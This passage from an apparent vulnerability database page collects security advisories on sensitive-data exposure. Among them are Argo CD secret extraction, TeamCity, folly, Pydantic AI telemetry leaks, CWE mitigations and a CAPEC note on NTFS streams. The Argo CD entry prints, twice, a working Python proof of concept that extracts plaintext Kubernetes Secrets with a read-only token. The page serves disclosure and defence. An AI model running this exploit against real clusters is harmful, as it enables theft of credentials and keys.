continue
if all(c == "+" for c in v):
continue # masked by argocd
try:
decoded = base64.b64decode(v)
text = decoded.decode("utf-8", errors="replace")
except Exception:
continue
if all(c == "+" for c in text) and text:
continue # masked (base64 of +++...)
real_keys[k] = text
if real_keys:
total_extracted += 1
print("\n [***] %s/%s (%s)" % (sns, sname, stype))
print(" %d/%d keys extracted:" % (len(real_keys), len(secret_data)))
for k in sorted(real_keys):
v = real_keys[k].replace("\n", "\\n")
if len(v) > 120:
v = v[:120] + "..."
print(" %s: %s" % (k, v))
print("\n[*] Done. %d secrets with real values extracted." % total_extracted)
if __name__ == "__main__":
main()
Impact
Any user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.3.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42880"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-212"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T01:56:53Z",
"nvd_published_at": "2026-05-07T23:16:32Z",
"severity": "CRITICAL"
},
"details": "### Summary\nThere is a missing authorization and data-masking gap in Argo CD\u0027s ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server\u0027s Server-Side Apply dry-run mechanism.\n\n### Details\nArgo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states:\n\n```\n// server/application/application.go:3051-3062\nresponseDiffs = append(responseDiffs, \u0026v1alpha1.ResourceDiff{\n TargetState: string(diffRes.PredictedLive),\n LiveState: string(diffRes.NormalizedLive),\n})\n```\n\nA user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true.\nWhen IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely:\n\n```\nif o.ignoreMutationWebhook {\n predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager)\n}\n```\n\nThe raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking.\n\nWhen ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of:\n\n`kubectl apply --server-side --dry-run=server --field-manager=argocd-controller\n`\nFor extraction to succeed, the Secret\u0027s data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response.\n\n### PoC\n```\n#!/usr/bin/env python3\n\"\"\"\nArgo CD ServerSideDiff Secret Extraction PoC\n\nUsage:\n python3 poc.py \u003chost\u003e \u003ctoken\u003e \u003capp\u003e \u003cproject\u003e\n\nExample:\n python3 poc.py argocd.int.\u003ccustomer\u003e.com eyJhbG... my-app my-project\n\"\"\"\n\nimport base64\nimport http.client\nimport json\nimport ssl\nimport struct\nimport sys\nimport urllib.parse\nfrom collections import defaultdict\n\ndef encode_varint(v):\n out = []\n while v \u003e 0x7f:\n out.append((v \u0026 0x7f) | 0x80)\n v \u003e\u003e= 7\n out.append(v \u0026 0x7f)\n return bytes(out)\n\ndef encode_str(field, val):\n tag = (field \u003c\u003c 3) | 2\n raw = val.encode()\n return encode_varint(tag) + encode_varint(len(raw)) + raw\n\ndef encode_bytes(field, val):\n tag = (field \u003c\u003c 3) | 2\n return encode_varint(tag) + encode_varint(len(val)) + val\n\ndef encode_bool(field, val):\n tag = (field \u003c\u003c 3) | 0\n return encode_varint(tag) + encode_varint(1 if val else 0)\n\ndef decode_varint(data, pos):\n val, shift = 0, 0\n while pos \u003c len(data):\n b = data[pos]; pos += 1\n val |= (b \u0026 0x7f) \u003c\u003c shift; shift += 7\n if not (b \u0026 0x80):\n break\n return val, pos\n\ndef decode_fields(data):\n fields = defaultdict(list)\n pos = 0\n while pos \u003c len(data):\n tag, pos = decode_varint(data, pos)\n wtype = tag \u0026 0x07\n if wtype == 0:\n val, pos = decode_varint(data, pos)\n fields[tag \u003e\u003e 3].append(val)\n elif wtype == 2:\n length, pos = decode_varint(data, pos)\n fields[tag \u003e\u003e 3].append(data[pos:pos + length])\n pos += length\n elif wtype == 5:\n fields[tag \u003e\u003e 3].append(data[pos:pos + 4]); pos += 4\n elif wtype == 1:\n fields[tag \u003e\u003e 3].append(data[pos:pos + 8]); pos += 8\n else:\n break\n return dict(fields)\n\n\n# -- grpc-web framing --\n\ndef grpc_frame(payload):\n return b\"\\x00\" + struct.pack(\"\u003eI\", len(payload)) + payload\n\ndef decode_grpc_frames(data):\n frames, pos = [], 0\n while pos + 5 \u003c= len(data):\n flag = data[pos]\n length = struct.unpack(\"\u003eI\", data[pos+1:pos+5])[0]\n pos += 5\n frames.append((flag, data[pos:pos+length]))\n pos += length\n return frames\n\n\n# -- http helpers --\n\ndef make_conn(host):\n ctx = ssl.create_default_context()\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10)\n\ndef rest_get(conn, path, token):\n conn.request(\"GET\", path, headers={\n \"Authorization\": \"Bearer \" + token,\n \"Accept\": \"application/json\",\n })\n resp = conn.getresponse()\n body = resp.read()\n if resp.status != 200:\n return None, \"HTTP %d\" % resp.status\n return json.loads(body), None\n\ndef grpc_post(conn, token, payload):\n conn.request(\"POST\", \"/application.ApplicationService/ServerSideDiff\",\n body=grpc_frame(payload), headers={\n \"Content-Type\": \"application/grpc-web+proto\",\n \"Accept\": \"application/grpc-web+proto\",\n \"X-Grpc-Web\": \"1\",\n \"Authorization\": \"Bearer \" + token,\n })\n resp = conn.getresponse()\n raw = resp.read()\n if resp.status != 200:\n return None, \"HTTP %d\" % resp.status\n frames = decode_grpc_frames(raw)\n for flag, fdata in frames:\n if flag == 0:\n return fdata, None\n return None, \"no data frame in response\"\n\n\n# -- main --\n\ndef main():\n if len(sys.argv) != 5:\n print(\"Usage: python3 poc.py \u003chost\u003e \u003ctoken\u003e \u003capp\u003e \u003cproject\u003e\")\n sys.exit(1)\n\n host, token, app_name, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]\n conn = make_conn(host)\n\n # step 1: list managed resources for the app, find secrets\n print(\"[*] Fetching managed resources for %s/%s ...\" % (project, app_name))\n data, err = rest_get(conn, \"/api/v1/applications/%s/managed-resources\" % urllib.parse.quote(app_name), token)\n if err:\n print(\"[-] Failed: %s\" % err); sys.exit(1)\n\n secrets = []\n for r in data.get(\"items\", []):\n if r.get(\"kind\") != \"Secret\":\n continue\n name = r.get(\"name\", \"\")\n ns = r.get(\"namespace\", \"\")\n live = r.get(\"liveState\", \"\")\n stype = \"Opaque\"\n if live and live != \"null\":\n try:\n stype = json.loads(live).get(\"type\", \"Opaque\")\n except Exception:\n pass\n secrets.append((name, ns, stype, live))\n\n if not secrets:\n print(\"[-] No secrets found in managed resources\"); sys.exit(0)\n print(\"[+] Found %d secrets\" % len(secrets))\n\n # step 2: call ServerSideDiff for each secret\n total_extracted = 0\n for sname, sns, stype, live_json in secrets:\n # build minimal target manifest (no data field)\n target = {\"apiVersion\": \"v1\", \"kind\": \"Secret\",\n \"metadata\": {\"name\": sname, \"namespace\": sns},\n \"type\": stype}\n\n # copy required annotations from live state for SA tokens\n if live_json and live_json != \"null\":\n try:\n live_annots = json.loads(live_json).get(\"metadata\", {}).get(\"annotations\", {})\n k8s_annots = {k: v for k, v in live_annots.items() if k.startswith(\"kubernetes.io/\")}\n if k8s_annots:\n target[\"metadata\"][\"annotations\"] = k8s_annots\n except Exception:\n pass\n\n # for TLS secrets, include required placeholder keys\n if stype == \"kubernetes.io/tls\":\n target[\"data\"] = {\n \"tls.crt\": base64.b64encode(b\"PLACEHOLDER\").decode(),\n \"tls.key\": base64.b64encode(b\"PLACEHOLDER\").decode(),\n }\n elif stype == \"kubernetes.io/dockerconfigjson\":\n target[\"data\"] = {\".dockerconfigjson\": base64.b64encode(b\u0027{\"auths\":{}}\u0027).decode()}\n\n # encode the grpc request\n lr = b\"\"\n lr += encode_str(2, \"Secret\") # kind\n lr += encode_str(3, sns) # namespace\n lr += encode_str(4, sname) # name\n if live_json:\n lr += encode_str(6, live_json) # liveState\n lr += encode_bool(12, True) # modified\n\n query = encode_str(1, app_name)\n query += encode_str(3, project)\n query += encode_bytes(4, lr)\n query += encode_str(5, json.dumps(target))\n\n # reconnect for each call (simple, no pool needed for poc)\n try:\n conn = make_conn(host)\n resp_data, err = grpc_post(conn, token, query)\n except Exception as e:\n print(\" [!] %s/%s: %s\" % (sns, sname, e))\n continue\n if err:\n print(\" [!] %s/%s: %s\" % (sns, sname, err))\n continue\n\n # parse response\n resp_fields = decode_fields(resp_data)\n for item_bytes in resp_fields.get(1, []):\n if not isinstance(item_bytes, bytes):\n continue\n ifields = decode_fields(item_bytes)\n\n # field 5 = targetState (predictedLive \u2014 has real values from etcd)\n for raw in ifields.get(5, []):\n if not isinstance(raw, bytes):\n continue\n try:\n obj = json.loads(raw)\n except Exception:\n continue\n if obj.get(\"kind\") != \"Secret\":\n continue\n secret_data = obj.get(\"data\", {})\n if not secret_data:\n continue\n\n # check for real (non-masked) values\n real_keys = {}\n for k, v in secret_data.items():\n if not v:\n continue\n if all(c == \"+\" for c in v):\n continue # masked by argocd\n try:\n decoded = base64.b64decode(v)\n text = decoded.decode(\"utf-8\", errors=\"replace\")\n except Exception:\n continue\n if all(c == \"+\" for c in text) and text:\n continue # masked (base64 of +++...)\n real_keys[k] = text\n\n if real_keys:\n total_extracted += 1\n print(\"\\n [***] %s/%s (%s)\" % (sns, sname, stype))\n print(\" %d/%d keys extracted:\" % (len(real_keys), len(secret_data)))\n for k in sorted(real_keys):\n v = real_keys[k].replace(\"\\n\", \"\\\\n\")\n if len(v) \u003e 120:\n v = v[:120] + \"...\"\n print(\" %s: %s\" % (k, v))\n\n print(\"\\n[*] Done. %d secrets with real values extracted.\" % total_extracted)\n\nif __name__ == \"__main__\":\n main()\n```\n\n### Impact\nAny user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.",
"id": "GHSA-3v3m-wc6v-x4x3",
"modified": "2026-05-11T13:30:01Z",
"published": "2026-05-07T01:56:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42880"
},
{
"type": "PACKAGE",
"url": "https://github.com/argoproj/argo-cd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction"
}
GHSA-445Q-7482-76FP
Vulnerability from github – Published: 2024-12-20 15:30 – Updated: 2024-12-20 15:30In JetBrains TeamCity before 2024.12 backup file exposed user credentials and session cookies
{
"affected": [],
"aliases": [
"CVE-2024-56353"
],
"database_specific": {
"cwe_ids": [
"CWE-212"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-20T15:15:09Z",
"severity": "MODERATE"
},
"details": "In JetBrains TeamCity before 2024.12 backup file exposed user credentials and session cookies",
"id": "GHSA-445q-7482-76fp",
"modified": "2024-12-20T15:30:48Z",
"published": "2024-12-20T15:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56353"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-46JM-3G2R-J53X
Vulnerability from github – Published: 2022-05-13 01:32 – Updated: 2022-05-13 01:32folly::secureRandom will re-use a buffer between parent and child processes when fork() is called. That will result in multiple forked children producing repeat (or similar) results. This affects HHVM 3.26 prior to 3.26.3 and the folly library between v2017.12.11.00 and v2018.08.09.00.
{
"affected": [],
"aliases": [
"CVE-2018-6337"
],
"database_specific": {
"cwe_ids": [
"CWE-119",
"CWE-212"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-31T22:29:00Z",
"severity": "HIGH"
},
"details": "folly::secureRandom will re-use a buffer between parent and child processes when fork() is called. That will result in multiple forked children producing repeat (or similar) results. This affects HHVM 3.26 prior to 3.26.3 and the folly library between v2017.12.11.00 and v2018.08.09.00.",
"id": "GHSA-46jm-3g2r-j53x",
"modified": "2022-05-13T01:32:03Z",
"published": "2022-05-13T01:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6337"
},
{
"type": "WEB",
"url": "https://github.com/facebook/folly/commit/8e927ee48b114c8a2f90d0cbd5ac753795a6761f"
},
{
"type": "WEB",
"url": "https://github.com/facebook/hhvm/commit/e2d10a1e32d01f71aaadd81169bcb9ae86c5d6b8"
},
{
"type": "WEB",
"url": "https://hhvm.com/blog/2018/05/24/hhvm-3.26.3.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4X9P-G9WM-8Q7F
Vulnerability from github – Published: 2026-10-08 16:48 – Updated: 2026-10-08 16:48Summary
Pydantic AI's OpenTelemetry instrumentation supports InstrumentationSettings(include_content=False) to exclude message content — user prompts, model completions, tool call arguments and responses, and any other message content — from exported telemetry, so that agents can be monitored without sending sensitive content to the observability backend.
The message attributes honoured the setting. Several other parts of the same spans did not, and exported content regardless of it:
- Exceptions. Recorded as OpenTelemetry exception events, with their message and stack trace, on tool, agent run, model request, embedding and image generation spans, and on realtime session spans. The message of the exception carrying a tool's
ModelRetryorToolFailedfeedback is the text sent back to the model, which can quote tool arguments and results. When a tool ran out of retries, the error that ended the run was chained from the last retry, so its stack trace repeated that text on the run span. Exceptions raised by tool code were recorded with their full message, as were failures of a model request, embedding or image generation, whose messages carry the provider's error response body. - The error status description. The OpenTelemetry SDK describes a span's ERROR status with the exception's type and message, so the message reached the backend a second time even where the event itself was redacted.
- Instructions and the prompted-output template. The
model_request_parametersattribute serialized the request's instruction parts in full, exporting the agent's instructions — both static and those built from dependencies at request time — along with the template used to prompt for structured output.
Details
Content reaches these places because of what they carry rather than through any single missing check, which is why the setting was applied correctly to the message attributes (gen_ai.input.messages, gen_ai.tool.call.arguments, gen_ai.tool.call.result, and so on) while these paths were not: the exception recording and the status description came from the OpenTelemetry SDK's defaults, and the instructions and output template were serialized as part of the request's parameters rather than treated as content.
Impact
This does not grant an attacker any new access to the agent or its data: the content is only visible to whoever can read the exported telemetry. The exposure matters when traces are exported to a destination whose audience is broader or less trusted than the agent's own data — a third-party observability vendor or a shared backend — which is the scenario include_content=False exists for.
Who Is Affected
You are affected if you enabled instrumentation with include_content=False. Instructions are exported on every successful run, so no failure is needed to be affected; the exception paths additionally require a tool to raise, or a model, embedding or image generation request to fail. Realtime sessions are affected the same way, through the errors their provider connections report. GHSA-3gh4-cghq-f8v4 stated that retries coming from tool calls were redacted correctly; that was true of the retry prompt in the message attributes but not of the exception event on the tool span. You are not affected if you don't set include_content=False.
Remediation
Upgrade to a patched version. With include_content=False, exception events now record only the exception type, error statuses carry no description, and model_request_parameters is exported without its instruction content or output template. If you rely on this setting, consider reviewing previously exported traces for exception events, for error status descriptions, and for model_request_parameters.
Workaround for Unpatched Versions
If you cannot upgrade, scrub the exception.message and exception.stacktrace event attributes, the error status description, and the instruction parts and prompted_output_template within model_request_parameters, on spans emitted by Pydantic AI in your telemetry pipeline (for example with an OpenTelemetry Collector processor). Setting include_model_request_parameters=False alongside include_content=False removes both, at the cost of the rest of that attribute.
Credits
Reported privately by @BrianWillows, whose report covered the exception events on tool and agent run spans. The remaining paths were found while fixing it, by a test that drives content through every channel at once and checks the whole exported trace.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.4"
},
{
"fixed": "1.107.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0b1"
},
{
"fixed": "2.44.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai-slim"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.4"
},
{
"fixed": "1.107.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai-slim"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0b1"
},
{
"fixed": "2.44.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107291"
],
"database_specific": {
"cwe_ids": [
"CWE-212",
"CWE-532"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T16:48:16Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nPydantic AI\u0027s OpenTelemetry instrumentation supports `InstrumentationSettings(include_content=False)` to exclude message content \u2014 user prompts, model completions, tool call arguments and responses, and any other message content \u2014 from exported telemetry, so that agents can be monitored without sending sensitive content to the observability backend.\n\nThe message attributes honoured the setting. Several other parts of the same spans did not, and exported content regardless of it:\n\n- **Exceptions.** Recorded as OpenTelemetry exception events, with their message and stack trace, on tool, agent run, model request, embedding and image generation spans, and on realtime session spans. The message of the exception carrying a tool\u0027s `ModelRetry` or `ToolFailed` feedback is the text sent back to the model, which can quote tool arguments and results. When a tool ran out of retries, the error that ended the run was chained from the last retry, so its stack trace repeated that text on the run span. Exceptions raised by tool code were recorded with their full message, as were failures of a model request, embedding or image generation, whose messages carry the provider\u0027s error response body.\n- **The error status description.** The OpenTelemetry SDK describes a span\u0027s ERROR status with the exception\u0027s type and message, so the message reached the backend a second time even where the event itself was redacted.\n- **Instructions and the prompted-output template.** The `model_request_parameters` attribute serialized the request\u0027s instruction parts in full, exporting the agent\u0027s instructions \u2014 both static and those built from dependencies at request time \u2014 along with the template used to prompt for structured output.\n\n### Details\n\nContent reaches these places because of what they carry rather than through any single missing check, which is why the setting was applied correctly to the message attributes (`gen_ai.input.messages`, `gen_ai.tool.call.arguments`, `gen_ai.tool.call.result`, and so on) while these paths were not: the exception recording and the status description came from the OpenTelemetry SDK\u0027s defaults, and the instructions and output template were serialized as part of the request\u0027s parameters rather than treated as content.\n\n### Impact\n\nThis does not grant an attacker any new access to the agent or its data: the content is only visible to whoever can read the exported telemetry. The exposure matters when traces are exported to a destination whose audience is broader or less trusted than the agent\u0027s own data \u2014 a third-party observability vendor or a shared backend \u2014 which is the scenario `include_content=False` exists for.\n\n### Who Is Affected\n\nYou are affected if you enabled instrumentation with `include_content=False`. Instructions are exported on every successful run, so no failure is needed to be affected; the exception paths additionally require a tool to raise, or a model, embedding or image generation request to fail. Realtime sessions are affected the same way, through the errors their provider connections report. GHSA-3gh4-cghq-f8v4 stated that retries coming from tool calls were redacted correctly; that was true of the retry prompt in the message attributes but not of the exception event on the tool span. You are not affected if you don\u0027t set `include_content=False`.\n\n### Remediation\n\nUpgrade to a patched version. With `include_content=False`, exception events now record only the exception type, error statuses carry no description, and `model_request_parameters` is exported without its instruction content or output template. If you rely on this setting, consider reviewing previously exported traces for exception events, for error status descriptions, and for `model_request_parameters`.\n\n### Workaround for Unpatched Versions\n\nIf you cannot upgrade, scrub the `exception.message` and `exception.stacktrace` event attributes, the error status description, and the instruction parts and `prompted_output_template` within `model_request_parameters`, on spans emitted by Pydantic AI in your telemetry pipeline (for example with an OpenTelemetry Collector processor). Setting `include_model_request_parameters=False` alongside `include_content=False` removes both, at the cost of the rest of that attribute.\n\n### Credits\n\nReported privately by @BrianWillows, whose report covered the exception events on tool and agent run spans. The remaining paths were found while fixing it, by a test that drives content through every channel at once and checks the whole exported trace.",
"id": "GHSA-4x9p-g9wm-8q7f",
"modified": "2026-10-08T16:48:16Z",
"published": "2026-10-08T16:48:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-4x9p-g9wm-8q7f"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/pull/8403"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/pull/8404"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/pull/8408"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/pull/8428"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/pull/8429"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/commit/4e013c51a50659aba2adf7853bfb22bb77f6a518"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/commit/6b14c74cb281f899a2ae4fae5327111e33f60771"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/commit/7ee27e38ab2e525ca60ff1a25d16413ff989fd79"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/commit/963dec5f70d6f558997fc259356c0090cc5ea487"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/commit/de4e61515327bd80a19cd8552001c30933e6acc3"
},
{
"type": "PACKAGE",
"url": "https://github.com/pydantic/pydantic-ai"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/releases/tag/v1.107.6"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/releases/tag/v2.44.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pydantic AI OpenTelemetry instrumentation: exception events on tool and agent run spans include content when `include_content=False`"
}
Mitigation
Clearly specify which information should be regarded as private or sensitive, and require that the product offers functionality that allows the user to cleanse the sensitive information from the resource before it is published or exported to other parties.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
Mitigation MIT-57
Strategy: Attack Surface Reduction
- Some tools can automatically analyze documents to redact, strip, or "sanitize" private information, although some human review might be necessary. Tools may vary in terms of which document formats can be processed.
- When calling an external program to automatically generate or convert documents, invoke the program with any available options that avoid generating sensitive metadata. Some formats have well-defined fields that could contain private data, such as Exchangeable image file format (Exif), which can contain potentially sensitive metadata such as geolocation, date, and time [REF-1515] [REF-1516].
Mitigation MIT-33
Strategy: Attack Surface Reduction
Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.
Mitigation
Avoid errors related to improper resource shutdown or release (CWE-404), which may leave the sensitive data within the resource if it is in an incomplete state.
CAPEC-168: Windows ::DATA Alternate Data Stream
An attacker exploits the functionality of Microsoft NTFS Alternate Data Streams (ADS) to undermine system security. ADS allows multiple "files" to be stored in one directory entry referenced as filename:streamname. One or more alternate data streams may be stored in any file or directory. Normal Microsoft utilities do not show the presence of an ADS stream attached to a file. The additional space for the ADS is not recorded in the displayed file size. The additional space for ADS is accounted for in the used space on the volume. An ADS can be any type of file. ADS are copied by standard Microsoft utilities between NTFS volumes. ADS can be used by an attacker or intruder to hide tools, scripts, and data from detection by normal system utilities. Many anti-virus programs do not check for or scan ADS. Windows Vista does have a switch (-R) on the command line DIR command that will display alternate streams.